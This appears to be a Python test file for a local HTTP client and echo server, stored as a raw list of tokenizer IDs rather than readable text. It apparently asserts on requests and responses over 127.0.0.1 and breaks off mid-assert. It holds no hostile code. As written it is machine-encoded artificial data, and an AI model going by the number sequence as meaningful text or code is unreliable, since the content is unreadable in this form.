1275, 518, 13, 1669, 289, 29915, 7194, 847, 8057, 29973, 978, 29922, 29888, 420, 7331, 29914, 29896, 29889, 29896, 742, 13, 1669, 289, 29915, 8514, 29901, 29871, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29953, 29896, 29900, 29896, 742, 13, 1669, 289, 29915, 23965, 29899, 14934, 29901, 10110, 742, 13, 1669, 289, 29915, 23965, 29901, 2280, 29914, 3126, 742, 13, 1669, 289, 29915, 742, 13, 1669, 289, 29915, 742, 13, 9651, 4514, 13, 13, 13, 1678, 4974, 21762, 29889, 3827, 261, 29889, 2813, 1275, 313, 29890, 29915, 7194, 847, 8057, 29973, 978, 29922, 29888, 420, 7331, 29914, 29896, 29889, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 462, 259, 289, 29915, 8514, 29901, 29871, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29953, 29896, 29900, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 462, 259, 289, 29915, 23965, 29899, 14934, 29901, 10110, 29905, 29878, 29905, 29876, 29915, 13, 462, 462, 259, 289, 29915, 23965, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 1495, 13, 1678, 10191, 3744, 353, 6262, 29898, 3571, 29889, 11958, 2801, 29889, 7508, 5824, 29897, 29871, 396, 1207, 3509, 13, 1678, 4974, 10191, 3744, 1275, 313, 29890, 29915, 7194, 847, 8057, 29973, 978, 29922, 29888, 420, 7331, 29914, 29896, 29889, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 8514, 29901, 29871, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29953, 29896, 29900, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 23965, 29899, 14934, 29901, 10110, 29905, 29878, 29905, 29876, 29915, 13, 462, 418, 289, 29915, 23965, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 1495, 13, 13, 1678, 1550, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 322, 451, 474, 29916, 29933, 1187, 29889, 17697, 5824, 584, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 15595, 29889, 5509, 10380, 3145, 3596, 29902, 29916, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 1678, 10191, 797, 353, 6262, 29898, 861, 29933, 1187, 29889, 17697, 5824, 29897, 13, 1678, 4974, 10191, 797, 1275, 10191, 3744, 13, 1678, 474, 29916, 29933, 1187, 29889, 8551, 29934, 29916, 5824, 580, 13, 13, 1678, 396, 2048, 2933, 13, 1678, 10191, 3744, 353, 313, 29890, 29915, 10493, 29914, 29896, 29889, 29896, 29871, 29906, 29900, 29900, 9280, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 3916, 29899, 6513, 29901, 29871, 29896, 29906, 29906, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 3916, 29899, 1542, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 2539, 29901, 498, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 6004, 29901, 22244, 10967, 29889, 2997, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 6377, 3051, 1115, 1870, 29892, 525, 13, 795, 289, 11838, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 525, 13, 795, 289, 11838, 18248, 1115, 376, 7194, 613, 525, 13, 795, 289, 11838, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 525, 13, 795, 289, 11838, 2467, 1115, 1870, 29913, 1495, 13, 1678, 474, 29916, 29933, 1187, 29889, 7508, 29898, 7645, 3744, 29897, 13, 1678, 1550, 474, 29916, 29933, 1187, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 29901, 13, 4706, 15595, 29889, 5509, 29903, 1975, 3596, 29902, 29916, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 13, 1678, 4974, 1051, 29898, 3571, 29889, 3636, 296, 29889, 13662, 29889, 7076, 3101, 1275, 518, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 13, 462, 462, 462, 268, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 13, 462, 462, 462, 268, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 13, 462, 462, 462, 268, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 29962, 13, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2587, 1275, 313, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 525, 13, 462, 462, 1678, 289, 11838, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 525, 13, 462, 462, 1678, 289, 11838, 18248, 1115, 376, 7194, 613, 376, 2271, 29915, 13, 462, 462, 1678, 289, 29915, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 525, 13, 462, 462, 1678, 289, 11838, 2467, 1115, 1870, 29913, 1495, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 1272, 1275, 11117, 2467, 2396, 6213, 29892, 13, 462, 462, 268, 525, 3051, 2396, 6213, 29892, 13, 462, 462, 268, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 268, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 268, 525, 18248, 2396, 525, 7194, 10827, 13, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 1753, 1243, 29918, 4645, 29918, 13096, 5570, 29918, 8057, 7295, 13, 1678, 9995, 13, 1678, 4321, 12477, 16439, 3348, 18499, 13, 1678, 9995, 13, 1678, 15595, 353, 22729, 29889, 6004, 29898, 637, 353, 29871, 29953, 29896, 29900, 29896, 29892, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29897, 13, 1678, 4974, 15595, 29889, 276, 3150, 580, 13, 1678, 4974, 15595, 29889, 2350, 1275, 6702, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 1678, 4974, 15595, 29889, 29872, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 13, 1678, 3495, 353, 15595, 29889, 29872, 2350, 29961, 29900, 29962, 13, 1678, 2011, 353, 15595, 29889, 29872, 2350, 29961, 29896, 29962, 13, 1678, 1158, 353, 318, 29915, 7194, 29915, 13, 1678, 2224, 353, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 29915, 13, 1678, 9066, 353, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 13, 13, 1678, 21762, 353, 3132, 292, 29889, 4032, 29898, 9721, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 462, 3495, 978, 29922, 3069, 29892, 13, 462, 462, 2011, 29922, 637, 29892, 13, 462, 462, 1158, 29922, 5696, 29892, 13, 462, 462, 2224, 29922, 2084, 29892, 13, 462, 462, 9066, 29922, 13662, 29892, 13, 462, 462, 1723, 13, 13, 1678, 4974, 21762, 29889, 276, 3150, 580, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 13, 1678, 396, 4511, 12477, 350, 1187, 304, 5656, 838, 2026, 13, 1678, 1550, 5852, 29901, 13, 4706, 21762, 29889, 11958, 2801, 29889, 5509, 17918, 580, 13, 4706, 15595, 29889, 5509, 17918, 29879, 580, 13, 4706, 565, 21762, 29889, 11958, 2801, 29889, 18045, 322, 21762, 29889, 11958, 2801, 29889, 1113, 297, 15595, 29889, 861, 267, 29901, 13, 9651, 2867, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 1113, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 21852, 978, 580, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 2350, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 412, 4510, 580, 13, 1678, 4974, 15595, 29889, 29872, 2350, 1275, 21762, 29889, 11958, 2801, 29889, 2350, 13, 13, 1678, 474, 29916, 29933, 1187, 353, 15595, 29889, 861, 267, 29961, 3571, 29889, 11958, 2801, 29889, 1113, 29962, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 1113, 338, 451, 6213, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2395, 338, 451, 6213, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2395, 29889, 657, 21852, 978, 580, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 412, 4510, 580, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2395, 29889, 657, 412, 4510, 580, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 21852, 978, 580, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 1113, 1275, 21762, 29889, 11958, 2801, 29889, 1113, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2350, 29892, 21762, 29889, 11958, 2801, 29889, 2350, 13, 13, 1678, 2009, 353, 9657, 4197, 877, 5696, 742, 318, 29915, 7194, 5477, 13, 462, 268, 6702, 2084, 742, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 5477, 13, 462, 268, 6702, 29939, 5085, 742, 9657, 25739, 13, 462, 268, 6702, 20777, 742, 318, 4907, 511, 13, 462, 268, 6702, 13662, 742, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 511, 13, 462, 268, 6702, 2587, 742, 6213, 511, 13, 462, 268, 2314, 13, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 3571, 29889, 24830, 470, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 29897, 322, 451, 474, 29916, 29933, 1187, 29889, 17697, 5824, 584, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 15595, 29889, 5509, 10380, 3145, 3596, 29902, 29916, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 1678, 10191, 797, 353, 6262, 29898, 861, 29933, 1187, 29889, 17697, 5824, 29897, 13, 13, 1678, 4974, 10191, 797, 1275, 313, 29890, 29915, 7194, 847, 8057, 29973, 978, 29922, 29888, 420, 7331, 29914, 29896, 29889, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 268, 289, 29915, 8514, 29901, 29871, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29953, 29896, 29900, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 268, 289, 29915, 23965, 29899, 14934, 29901, 10110, 29905, 29878, 29905, 29876, 29915, 13, 462, 268, 289, 29915, 23965, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 1495, 13, 13, 13, 1678, 474, 29916, 29933, 1187, 29889, 8551, 29934, 29916, 5824, 580, 29871, 396, 9801, 694, 380, 744, 6433, 297, 21762, 364, 29916, 6835, 472, 838, 2026, 13, 13, 1678, 396, 29871, 2048, 2933, 13, 1678, 10191, 3744, 353, 313, 29890, 29915, 10493, 29914, 29896, 29889, 29896, 29871, 29906, 29900, 29900, 9280, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 3916, 29899, 6513, 29901, 29871, 29896, 29906, 29906, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 3916, 29899, 1542, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 2539, 29901, 498, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 6004, 29901, 22244, 10967, 29889, 2997, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 6377, 3051, 1115, 1870, 29892, 525, 13, 795, 289, 11838, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 525, 13, 795, 289, 11838, 18248, 1115, 376, 7194, 613, 525, 13, 795, 289, 11838, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 525, 13, 795, 289, 11838, 2467, 1115, 1870, 29913, 1495, 13, 1678, 474, 29916, 29933, 1187, 29889, 7508, 29898, 7645, 3744, 29897, 13, 1678, 1550, 474, 29916, 29933, 1187, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 29901, 13, 4706, 15595, 29889, 5509, 29903, 1975, 3596, 29902, 29916, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 11117, 3916, 29899, 6513, 2396, 525, 29896, 29906, 29906, 742, 13, 462, 462, 965, 525, 3916, 29899, 1542, 2396, 525, 6214, 29914, 3126, 742, 13, 462, 462, 965, 525, 2539, 2396, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 742, 13, 462, 462, 965, 525, 6004, 2396, 525, 29902, 29877, 10967, 29889, 2997, 16675, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 13662, 2396, 11117, 23965, 2396, 525, 6214, 29914, 3126, 16675, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 3069, 2396, 525, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29913, 13, 13, 13, 1678, 396, 620, 355, 2009, 297, 16439, 4464, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 1678, 1550, 313, 21762, 29889, 24830, 470, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 29897, 322, 451, 474, 29916, 29933, 1187, 29889, 17697, 5824, 584, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 15595, 29889, 5509, 10380, 3145, 3596, 29902, 29916, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 1678, 10191, 797, 353, 6262, 29898, 861, 29933, 1187, 29889, 17697, 5824, 29897, 13, 1678, 4974, 10191, 797, 1275, 313, 29890, 29915, 7194, 847, 8057, 29973, 978, 29922, 29888, 420, 7331, 29914, 29896, 29889, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 268, 289, 29915, 8514, 29901, 29871, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29953, 29896, 29900, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 268, 289, 29915, 23965, 29899, 14934, 29901, 10110, 29905, 29878, 29905, 29876, 29915, 13, 462, 268, 289, 29915, 23965, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 1495, 13, 13, 1678, 474, 29916, 29933, 1187, 29889, 8551, 29934, 29916, 5824, 580, 13, 13, 1678, 396, 2048, 2933, 13, 1678, 10191, 3744, 353, 29898, 289, 29915, 10493, 29914, 29896, 29889, 29896, 29871, 29906, 29900, 29900, 9280, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 3916, 29899, 6513, 29901, 29871, 29896, 29906, 29906, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 3916, 29899, 1542, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 2539, 29901, 498, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 6004, 29901, 22244, 10967, 29889, 2997, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 29915, 13, 795, 289, 29915, 6377, 3051, 1115, 1870, 29892, 525, 13, 795, 289, 11838, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 525, 13, 795, 289, 11838, 18248, 1115, 376, 7194, 613, 525, 13, 795, 289, 11838, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 525, 13, 795, 289, 11838, 2467, 1115, 1870, 29913, 1495, 13, 1678, 474, 29916, 29933, 1187, 29889, 7508, 29898, 7645, 3744, 29897, 13, 1678, 1550, 474, 29916, 29933, 1187, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 29901, 13, 4706, 15595, 29889, 5509, 29903, 1975, 3596, 29902, 29916, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 18884, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 18884, 525, 23147, 2396, 525, 8949, 742, 13, 462, 18884, 525, 13662, 2396, 13, 462, 462, 1678, 11117, 3916, 29899, 6513, 2396, 525, 29896, 29906, 29906, 742, 13, 462, 462, 268, 525, 3916, 29899, 1542, 2396, 525, 6214, 29914, 3126, 742, 13, 462, 462, 268, 525, 2539, 2396, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 742, 13, 462, 462, 268, 525, 6004, 2396, 525, 29902, 29877, 10967, 29889, 2997, 16675, 13, 462, 18884, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 18884, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 18884, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 18884, 525, 1272, 2396, 11117, 2467, 2396, 6213, 29892, 13, 462, 462, 308, 525, 3051, 2396, 6213, 29892, 13, 462, 462, 308, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 308, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 308, 525, 18248, 2396, 525, 7194, 16675, 13, 462, 18884, 525, 2704, 2396, 6213, 29892, 13, 462, 18884, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 18884, 525, 3827, 2396, 11117, 3069, 2396, 525, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 13, 462, 462, 9651, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 9651, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 9651, 525, 5696, 2396, 525, 7194, 742, 13, 462, 462, 9651, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 9651, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 9651, 525, 20777, 2396, 15516, 13, 462, 462, 9651, 525, 13662, 2396, 11117, 23965, 2396, 525, 6214, 29914, 3126, 16675, 13, 462, 462, 9651, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 9651, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 9651, 525, 29888, 5085, 2396, 6213, 29892, 13, 462, 462, 9651, 500, 13, 462, 18884, 500, 13, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 13, 13, 1753, 1243, 29918, 4645, 29918, 13096, 5570, 29918, 8057, 29918, 12857, 7295, 13, 1678, 9995, 13, 1678, 4321, 17332, 993, 16439, 3348, 18499, 13, 1678, 9995, 13, 1678, 15595, 353, 22729, 29889, 6004, 29898, 637, 353, 29871, 29953, 29896, 29900, 29896, 29892, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29897, 13, 1678, 4974, 15595, 29889, 276, 3150, 580, 13, 1678, 4974, 15595, 29889, 2350, 1275, 6702, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 1678, 4974, 15595, 29889, 29872, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 13, 1678, 3495, 353, 15595, 29889, 29872, 2350, 29961, 29900, 29962, 13, 1678, 2011, 353, 15595, 29889, 29872, 2350, 29961, 29896, 29962, 13, 1678, 1158, 353, 318, 29915, 7194, 29915, 13, 1678, 2224, 353, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 29915, 13, 1678, 9066, 353, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 13, 13, 1678, 21762, 353, 3132, 292, 29889, 4032, 29898, 9721, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 462, 3495, 978, 29922, 3069, 29892, 13, 462, 462, 2011, 29922, 637, 29892, 13, 462, 462, 1158, 29922, 5696, 29892, 13, 462, 462, 2224, 29922, 2084, 29892, 13, 462, 462, 9066, 29922, 13662, 29892, 13, 462, 462, 1723, 13, 13, 1678, 4974, 21762, 29889, 276, 3150, 580, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 13, 1678, 396, 4511, 12477, 350, 1187, 304, 5656, 838, 2026, 13, 1678, 1550, 5852, 29901, 13, 4706, 21762, 29889, 11958, 2801, 29889, 5509, 17918, 580, 13, 4706, 15595, 29889, 5509, 17918, 29879, 580, 13, 4706, 565, 21762, 29889, 11958, 2801, 29889, 18045, 322, 21762, 29889, 11958, 2801, 29889, 1113, 297, 15595, 29889, 861, 267, 29901, 13, 9651, 2867, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 1113, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 21852, 978, 580, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 2350, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 412, 4510, 580, 13, 1678, 4974, 15595, 29889, 29872, 2350, 1275, 21762, 29889, 11958, 2801, 29889, 2350, 13, 13, 1678, 474, 29916, 29933, 1187, 353, 15595, 29889, 861, 267, 29961, 3571, 29889, 11958, 2801, 29889, 1113, 29962, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 1113, 338, 451, 6213, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2395, 338, 451, 6213, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2395, 29889, 657, 21852, 978, 580, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 412, 4510, 580, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2395, 29889, 657, 412, 4510, 580, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 21852, 978, 580, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 1113, 1275, 21762, 29889, 11958, 2801, 29889, 1113, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2350, 29892, 21762, 29889, 11958, 2801, 29889, 2350, 